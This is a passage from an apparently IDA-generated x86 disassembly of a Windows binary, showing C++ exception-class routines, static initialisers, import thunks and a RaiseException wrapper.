var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_433390
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_433415
mov ecx, [ebp+var_4]
push ecx
call sub_419DD0
add esp, 4
loc_433415: ; CODE XREF: sub_4333F0+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_4333F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433420 proc near ; CODE XREF: sub_433270+3Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_433450
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_4360A0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_433420 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433450 proc near ; CODE XREF: sub_433420+Ep
; sub_4335D0+Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_433450
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
mov [ebp+var_14], ecx
mov [ebp+var_10], offset dword_434F04
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_14]
call sub_433B80
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_14]
add ecx, 0Ch
call sub_40BBC6
mov edx, [ebp+var_14]
mov dword ptr [edx], offset off_436090
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_14]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_433450 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4334C0 proc near ; CODE XREF: sub_433510+Ap
; DATA XREF: .data:004363FCo
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_4360A0
mov ecx, [ebp+var_4]
call sub_433390
mov esp, ebp
pop ebp
retn
sub_4334C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4334E0 proc near ; DATA XREF: .data:004360A8o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_433540
push offset dword_4363F8
lea ecx, [ebp+var_1C]
push ecx
call sub_433E70
mov esp, ebp
pop ebp
retn
sub_4334E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433510 proc near ; DATA XREF: .data:off_4360A0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_4334C0
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_433535
mov ecx, [ebp+var_4]
push ecx
call sub_419DD0
add esp, 4
loc_433535: ; CODE XREF: sub_433510+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_433510 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433540 proc near ; CODE XREF: sub_4334E0+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_4332D0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_4360A0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_433540 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433570 proc near ; CODE XREF: sub_40BD29+17p
; sub_40BFA8+Ep
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_433570
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [ebp+var_3C]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp+var_38]
call sub_40BBEC
mov [ebp+var_4], 0
lea ecx, [ebp+var_38]
push ecx
lea ecx, [ebp+var_28]
call sub_4335D0
push offset dword_4364F8
lea edx, [ebp+var_28]
push edx
call sub_433E70
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_433570 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4335D0 proc near ; CODE XREF: sub_433570+3Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_433450
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_4360C8
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_4335D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433600 proc near ; CODE XREF: sub_433650+Ap
; DATA XREF: .data:004364FCo
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_4360C8
mov ecx, [ebp+var_4]
call sub_433390
mov esp, ebp
pop ebp
retn
sub_433600 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433620 proc near ; DATA XREF: .data:004360D0o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_433680
push offset dword_4364F8
lea ecx, [ebp+var_1C]
push ecx
call sub_433E70
mov esp, ebp
pop ebp
retn
sub_433620 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433650 proc near ; DATA XREF: .data:off_4360C8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_433600
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_433675
mov ecx, [ebp+var_4]
push ecx
call sub_419DD0
add esp, 4
loc_433675: ; CODE XREF: sub_433650+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_433650 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433680 proc near ; CODE XREF: sub_433620+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_4332D0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_4360C8
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_433680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4336B0 proc near ; DATA XREF: .data:00437010o
push ebp
mov ebp, esp
call sub_40C15A
call sub_4336D0
call sub_4336F0
call sub_433720
pop ebp
retn
sub_4336B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4336D0 proc near ; CODE XREF: sub_4336B0+8p
push ebp
mov ebp, esp
push offset nullsub_1
call sub_419F60
add esp, 4
pop ebp
retn
sub_4336D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4336F0 proc near ; CODE XREF: sub_4336B0+Dp
push ebp
mov ebp, esp
xor eax, eax
mov al, byte_4DF69C
and eax, 1
test eax, eax
jnz short loc_433710
mov cl, byte_4DF69C
or cl, 1
mov byte_4DF69C, cl
loc_433710: ; CODE XREF: sub_4336F0+Fj
pop ebp
retn
sub_4336F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433720 proc near ; CODE XREF: sub_4336B0+12p
push ebp
mov ebp, esp
push offset sub_433740
call sub_419F60
add esp, 4
pop ebp
retn
sub_433720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433740 proc near ; DATA XREF: sub_433720+3o
push ebp
mov ebp, esp
pop ebp
retn
sub_433740 endp
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_433746 proc near ; CODE XREF: sub_40B575+5Ep
; sub_40D0F7+148p
jmp dword_4E0528
sub_433746 endp
; ---------------------------------------------------------------------------
jmp dword_4E0524
; ---------------------------------------------------------------------------
jmp dword_4E0520
; ---------------------------------------------------------------------------
jmp dword_4E051C
; ---------------------------------------------------------------------------
jmp dword_4E0518
; ---------------------------------------------------------------------------
jmp dword_4E0514
; ---------------------------------------------------------------------------
jmp dword_4E0510
; ---------------------------------------------------------------------------
jmp dword_4E050C
; ---------------------------------------------------------------------------
jmp dword_4E0508
; ---------------------------------------------------------------------------
jmp dword_4E052C
; ---------------------------------------------------------------------------
jmp dword_4E0500
; ---------------------------------------------------------------------------
jmp dword_4E04FC
; ---------------------------------------------------------------------------
jmp dword_4E04F8
; ---------------------------------------------------------------------------
jmp dword_4E04F4
; ---------------------------------------------------------------------------
jmp dword_4E04F0
; ---------------------------------------------------------------------------
jmp dword_4E0504
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4337A6 proc near ; CODE XREF: .data:00414BACp
jmp dword_4E04E0
sub_4337A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4337AC proc near ; CODE XREF: .data:00414B7Fp
jmp dword_4E04E4
sub_4337AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4337B2 proc near ; CODE XREF: .data:00414B3Ep
jmp dword_4E04E8
sub_4337B2 endp
; ---------------------------------------------------------------------------
jmp dword_4E0328
; ---------------------------------------------------------------------------
jmp dword_4E032C
; ---------------------------------------------------------------------------
jmp dword_4E0330
; ---------------------------------------------------------------------------
jmp dword_4E0334
; ---------------------------------------------------------------------------
jmp dword_4E0338
; ---------------------------------------------------------------------------
jmp dword_4E033C
; ---------------------------------------------------------------------------
jmp dword_4E0340
; ---------------------------------------------------------------------------
jmp dword_4E0344
; ---------------------------------------------------------------------------
jmp dword_4E0348
; ---------------------------------------------------------------------------
jmp dword_4E034C
; ---------------------------------------------------------------------------
jmp dword_4E0350
; ---------------------------------------------------------------------------
jmp dword_4E0354
; ---------------------------------------------------------------------------
jmp dword_4E0358
; ---------------------------------------------------------------------------
jmp dword_4E035C
; ---------------------------------------------------------------------------
jmp dword_4E0360
; ---------------------------------------------------------------------------
jmp dword_4E0364
; ---------------------------------------------------------------------------
jmp dword_4E0368
; ---------------------------------------------------------------------------
jmp dword_4E036C
; ---------------------------------------------------------------------------
jmp dword_4E0370
; ---------------------------------------------------------------------------
jmp dword_4E0374
; ---------------------------------------------------------------------------
jmp dword_4E0378
; ---------------------------------------------------------------------------
jmp dword_4E037C
; ---------------------------------------------------------------------------
jmp dword_4E0380
; ---------------------------------------------------------------------------
jmp dword_4E0384
; ---------------------------------------------------------------------------
jmp dword_4E0388
; ---------------------------------------------------------------------------
jmp dword_4E038C
; ---------------------------------------------------------------------------
jmp dword_4E0390
; ---------------------------------------------------------------------------
jmp dword_4E0394
; ---------------------------------------------------------------------------
jmp dword_4E0398
; ---------------------------------------------------------------------------
jmp dword_4E039C
; ---------------------------------------------------------------------------
jmp dword_4E03A0
; ---------------------------------------------------------------------------
jmp dword_4E03A4
; ---------------------------------------------------------------------------
jmp dword_4E03A8
; ---------------------------------------------------------------------------
jmp dword_4E03AC
; ---------------------------------------------------------------------------
jmp dword_4E03B0
; ---------------------------------------------------------------------------
jmp dword_4E03B4
; ---------------------------------------------------------------------------
jmp dword_4E03B8
; ---------------------------------------------------------------------------
jmp dword_4E03BC
; ---------------------------------------------------------------------------
jmp dword_4E03C0
; ---------------------------------------------------------------------------
jmp dword_4E03C4
; ---------------------------------------------------------------------------
jmp dword_4E03C8
; ---------------------------------------------------------------------------
jmp dword_4E03CC
; ---------------------------------------------------------------------------
jmp dword_4E03D0
; ---------------------------------------------------------------------------
jmp dword_4E03D4
; ---------------------------------------------------------------------------
jmp dword_4E03D8
; ---------------------------------------------------------------------------
jmp dword_4E03DC
; ---------------------------------------------------------------------------
jmp dword_4E03E0
; ---------------------------------------------------------------------------
jmp dword_4E03E4
; ---------------------------------------------------------------------------
jmp dword_4E03E8
; ---------------------------------------------------------------------------
jmp dword_4E03EC
; ---------------------------------------------------------------------------
jmp dword_4E03F0
; ---------------------------------------------------------------------------
jmp dword_4E03F4
; ---------------------------------------------------------------------------
jmp dword_4E03F8
; ---------------------------------------------------------------------------
jmp dword_4E03FC
; ---------------------------------------------------------------------------
jmp dword_4E02CC
; ---------------------------------------------------------------------------
jmp dword_4E0400
; ---------------------------------------------------------------------------
jmp dword_4E0404
; ---------------------------------------------------------------------------
jmp dword_4E0408
; ---------------------------------------------------------------------------
jmp dword_4E040C
; ---------------------------------------------------------------------------
jmp dword_4E0410
; ---------------------------------------------------------------------------
jmp dword_4E0414
; ---------------------------------------------------------------------------
jmp dword_4E0418
; ---------------------------------------------------------------------------
jmp dword_4E041C
; ---------------------------------------------------------------------------
jmp dword_4E0420
; ---------------------------------------------------------------------------
jmp dword_4E0424
; ---------------------------------------------------------------------------
jmp dword_4E0428
; ---------------------------------------------------------------------------
jmp dword_4E042C
; ---------------------------------------------------------------------------
jmp dword_4E0430
; ---------------------------------------------------------------------------
jmp dword_4E0434
; ---------------------------------------------------------------------------
jmp dword_4E0438
; ---------------------------------------------------------------------------
jmp dword_4E043C
; ---------------------------------------------------------------------------
jmp dword_4E0440
; ---------------------------------------------------------------------------
jmp dword_4E0444
; ---------------------------------------------------------------------------
jmp dword_4E0448
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_433974 proc near ; CODE XREF: sub_418D80+27p
; sub_4190F0+13p
jmp dword_4E044C
sub_433974 endp
; ---------------------------------------------------------------------------
jmp dword_4E0450
; ---------------------------------------------------------------------------
jmp dword_4E0454
; ---------------------------------------------------------------------------
jmp dword_4E0458
; ---------------------------------------------------------------------------
jmp dword_4E045C
; ---------------------------------------------------------------------------
jmp dword_4E0460
; ---------------------------------------------------------------------------
jmp dword_4E0464
; ---------------------------------------------------------------------------
jmp dword_4E0468
; ---------------------------------------------------------------------------
jmp dword_4E046C
; ---------------------------------------------------------------------------
jmp dword_4E0470
; ---------------------------------------------------------------------------
jmp dword_4E0474
; ---------------------------------------------------------------------------
jmp dword_4E0478
; ---------------------------------------------------------------------------
jmp dword_4E047C
; ---------------------------------------------------------------------------
jmp dword_4E0480
; ---------------------------------------------------------------------------
jmp dword_4E0484
; ---------------------------------------------------------------------------
jmp dword_4E0488
; ---------------------------------------------------------------------------
jmp dword_4E048C
; ---------------------------------------------------------------------------
jmp dword_4E0490
; ---------------------------------------------------------------------------
jmp dword_4E0494
; ---------------------------------------------------------------------------
jmp dword_4E0498
; ---------------------------------------------------------------------------
jmp dword_4E049C
; ---------------------------------------------------------------------------
jmp dword_4E04A0
; ---------------------------------------------------------------------------
jmp dword_4E04A4
; ---------------------------------------------------------------------------
jmp dword_4E04A8
; ---------------------------------------------------------------------------
jmp dword_4E04AC
; ---------------------------------------------------------------------------
jmp dword_4E04B0
; ---------------------------------------------------------------------------
jmp dword_4E04B4
; ---------------------------------------------------------------------------
jmp dword_4E04B8
; ---------------------------------------------------------------------------
jmp dword_4E04BC
; ---------------------------------------------------------------------------
jmp dword_4E04C0
; ---------------------------------------------------------------------------
jmp dword_4E04C4
; ---------------------------------------------------------------------------
jmp dword_4E04C8
; ---------------------------------------------------------------------------
jmp dword_4E04CC
; ---------------------------------------------------------------------------
jmp dword_4E04D0
; ---------------------------------------------------------------------------
jmp dword_4E0324
; ---------------------------------------------------------------------------
jmp dword_4E0320
; ---------------------------------------------------------------------------
jmp dword_4E031C
; ---------------------------------------------------------------------------
jmp dword_4E0318
; ---------------------------------------------------------------------------
jmp dword_4E0314
; ---------------------------------------------------------------------------
jmp dword_4E0310
; ---------------------------------------------------------------------------
jmp dword_4E030C
; ---------------------------------------------------------------------------
jmp dword_4E0308
; ---------------------------------------------------------------------------
jmp dword_4E0304
; ---------------------------------------------------------------------------
jmp dword_4E0300
; ---------------------------------------------------------------------------
jmp dword_4E02FC
; ---------------------------------------------------------------------------
jmp dword_4E02F8
; ---------------------------------------------------------------------------
jmp dword_4E02F4
; ---------------------------------------------------------------------------
jmp dword_4E02F0
; ---------------------------------------------------------------------------
jmp dword_4E02EC
; ---------------------------------------------------------------------------
jmp dword_4E02E8
; ---------------------------------------------------------------------------
jmp dword_4E02E4
; ---------------------------------------------------------------------------
jmp dword_4E02E0
; ---------------------------------------------------------------------------
jmp dword_4E02DC
; ---------------------------------------------------------------------------
jmp dword_4E02D8
; ---------------------------------------------------------------------------
jmp dword_4E02D4
; ---------------------------------------------------------------------------
jmp dword_4E02D0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433AD0 proc near ; CODE XREF: sub_4118FD+21p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_433ADE
xor eax, eax
jmp short loc_433B13
; ---------------------------------------------------------------------------
loc_433ADE: ; CODE XREF: sub_433AD0+8j
mov eax, [ebp+arg_0]
push eax
call sub_414EC0
add esp, 4
add eax, 1
push eax
call sub_415090
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_433B11
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_418870
add esp, 8
jmp short loc_433B13
; ---------------------------------------------------------------------------
loc_433B11: ; CODE XREF: sub_433AD0+2Dj
xor eax, eax
loc_433B13: ; CODE XREF: sub_433AD0+Cj
; sub_433AD0+3Fj
mov esp, ebp
pop ebp
retn
sub_433AD0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov dword ptr [eax], offset off_4360DC
mov ecx, [ebp-4]
mov dword ptr [ecx+4], 0
mov edx, [ebp-4]
mov dword ptr [edx+8], 0
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433B50 proc near ; DATA XREF: .data:off_4360DCo
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_433CB0
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_433B75
mov ecx, [ebp+var_4]
push ecx
call sub_419DD0
add esp, 4
loc_433B75: ; CODE XREF: sub_433B50+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_433B50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433B80 proc near ; CODE XREF: sub_433450+2Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax], offset off_4360DC
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_414EC0
add esp, 4
add eax, 1
push eax
call sub_419E80
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
mov [eax+4], ecx
mov edx, [ebp+var_8]
cmp dword ptr [edx+4], 0
jz short loc_433BD6
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+4]
push eax
call sub_418870
add esp, 8
loc_433BD6: ; CODE XREF: sub_433B80+3Fj
mov ecx, [ebp+var_8]
mov dword ptr [ecx+8], 1
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 4
sub_433B80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433BF0 proc near ; CODE XREF: sub_4332D0+23p
; .data:00433C9Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax], offset off_4360DC
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov [ecx+8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+8], 0
jz short loc_433C5F
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call sub_414EC0
add esp, 4
add eax, 1
push eax
call sub_419E80
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_4]
mov [ecx+4], edx
mov eax, [ebp+var_8]
cmp dword ptr [eax+4], 0
jz short loc_433C5D
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+4]
push ecx
call sub_418870
add esp, 8
loc_433C5D: ; CODE XREF: sub_433BF0+55j
jmp short loc_433C6B
; ---------------------------------------------------------------------------
loc_433C5F: ; CODE XREF: sub_433BF0+25j
mov edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov [edx+4], ecx
loc_433C6B: ; CODE XREF: sub_433BF0:loc_433C5Dj
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 4
sub_433BF0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
cmp eax, [ebp+8]
jz short loc_433CA3
mov ecx, [ebp-4]
call sub_433CB0
mov ecx, [ebp+8]
push ecx
mov ecx, [ebp-4]
call sub_433BF0
loc_433CA3: ; CODE XREF: .data:00433C8Dj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433CB0 proc near ; CODE XREF: sub_433390+41p
; sub_433B50+Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax], offset off_4360DC
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+8], 0
jz short loc_433CE0
mov edx, [ebp+var_8]
mov eax, [edx+4]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_419DD0
add esp, 4
loc_433CE0: ; CODE XREF: sub_433CB0+19j
mov esp, ebp
pop ebp
retn
sub_433CB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433CF0 proc near ; DATA XREF: .data:004360E0o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 0
jz short loc_433D08
mov ecx, [ebp+var_4]
mov eax, [ecx+4]
jmp short loc_433D0D
; ---------------------------------------------------------------------------
loc_433D08: ; CODE XREF: sub_433CF0+Ej
mov eax, offset aUnknownExcepti ; "Unknown exception"
loc_433D0D: ; CODE XREF: sub_433CF0+16j
mov esp, ebp
pop ebp
retn
sub_433CF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433D20 proc near ; CODE XREF: sub_433D60+Ap
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_4360FC
push 1Bh
call sub_41BC80
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jz short loc_433D52
mov edx, [ebp+var_4]
mov eax, [edx+4]
push eax
call sub_41C6D0
add esp, 4
loc_433D52: ; CODE XREF: sub_433D20+21j
push 1Bh
call sub_41BD20
add esp, 4
mov esp, ebp
pop ebp
retn
sub_433D20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433D60 proc near ; DATA XREF: .data:off_4360FCo
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_433D20
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_433D85
mov ecx, [ebp+var_4]
push ecx
call sub_419DD0
add esp, 4
loc_433D85: ; CODE XREF: sub_433D60+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_433D60 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 9
push eax
mov ecx, [ebp+8]
add ecx, 9
push ecx
call sub_418A30
add esp, 8
neg eax
sbb eax, eax
inc eax
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 9
push eax
mov ecx, [ebp+8]
add ecx, 9
push ecx
call sub_418A30
add esp, 8
neg eax
sbb eax, eax
neg eax
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 9
push eax
mov ecx, [ebp+8]
add ecx, 9
push ecx
call sub_418A30
add esp, 8
xor edx, edx
test eax, eax
setnle dl
mov eax, edx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 8
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov dword ptr [eax], offset off_4360FC
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433E70 proc near ; CODE XREF: sub_433270+48p
; sub_433360+1Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push esi
push edi
mov ecx, 8
mov esi, offset dword_436100
lea edi, [ebp+var_20]
rep movsd
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_20]
push edx
call dword_4E04C0 ; RaiseException
pop edi
pop esi
mov esp, ebp
pop ebp
retn 8
sub_433E70 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+8]
jmp sub_408E96
; ---------------------------------------------------------------------------
loc_433EC8: ; DATA XREF: .data:004362ACo
lea ecx, [ebp-10h]
jmp sub_408EB3
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_408EB3
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_408ED0
; ---------------------------------------------------------------------------
loc_433EE0: ; DATA XREF: .data:loc_408986o
mov eax, offset dword_4362C0
jmp sub_418DE0
; ---------------------------------------------------------------------------
align 4
loc_433EEC: ; DATA XREF: .data:004362E8o
lea ecx, [ebp-3Ch]
jmp sub_40BC0F
; ---------------------------------------------------------------------------
mov eax, [ebp-24h]
and eax, 1
test eax, eax
jz locret_433F0A
mov ecx, [ebp+8]
jmp sub_40BC0F
; ---------------------------------------------------------------------------
locret_433F0A: ; CODE XREF: .data:00433EFCj
retn
; ---------------------------------------------------------------------------
loc_433F0B: ; DATA XREF: sub_40B7B6o
mov eax, offset dword_4362EC
jmp sub_418DE0
; ---------------------------------------------------------------------------
lea ecx, [ebp+14h]
jmp sub_40BC0F
; ---------------------------------------------------------------------------
loc_433F1D: ; DATA XREF: .data:00436314o
lea ecx, [ebp-1Ch]
jmp sub_40BC0F
; ---------------------------------------------------------------------------
loc_433F25: ; DATA XREF: sub_40B92Do
mov eax, offset dword_436318
jmp sub_418DE0
; ---------------------------------------------------------------------------
align 10h
loc_433F30: ; DATA XREF: sub_40C028o
mov eax, offset dword_436368
jmp sub_418DE0
